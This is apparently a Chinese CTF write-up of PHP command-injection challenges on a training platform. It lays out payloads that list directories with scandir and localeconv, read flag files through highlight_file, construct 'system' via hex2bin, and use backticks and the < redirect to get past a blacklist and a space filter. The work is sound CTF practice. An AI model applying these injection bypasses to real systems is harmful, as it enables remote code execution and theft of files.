方法二
常规方法
sys=var_dump(scandir(current(localeconv())));
再来获取
highlight_file(next(array_reverse(scandir(current(localeconv())))));
方法三
这里可以只用hex2bin()再搭配传参来获取
1这里的是system('tac flag.php');
得到flag
非常好绕的命令执行【polarctf-困难】
打开环境
这里先是3个get传参
之后就是一个拼接
最后拼接出来的是这样的
$args1($args2)($args3);
之后就是一串黑名单
evil中不能有黑名单的
然后注意后面两处
ctype_space()检查字符串 $evil 是否仅由空白字符组成
空白字符包括:空格( )、制表符(\t)、换行符(\n)、回车符(\r)、垂直制表符(\v)、换页符(\f)
true:字符串全为空白字符(如 " \t\n")
false:字符串包含非空白字符(如字母、数字、标点)或为空字符串
ctype_graph()检测字符串是否仅包含图形字符(可打印字符,不包括空格)
true:字符串中所有字符均为图形字符(无空格或控制符)
false:字符串包含非图形字符(如空格)或为空字符串
所以简单来说就是必须只能由可打印字符且不能由空格
所以这里我们先要解决怎么利用拼接来运行代码
后面那个()纯粹多余直接注释掉
?args1=echo&args2=1);//&args3=1
方法一
直接使用`反引号来进行命令运算
?args1=echo&args2=
ls);//&args3=1
这里其他符号被过滤了使用<来绕过空格
?args1=echo&args2=
cat<flagggg);//&args3=1
方法二
这里使用he2bin来构造出system然后就再运行
所以这里构造payload
?args1=hex2bin&args2='73797374656d'&args3='ls'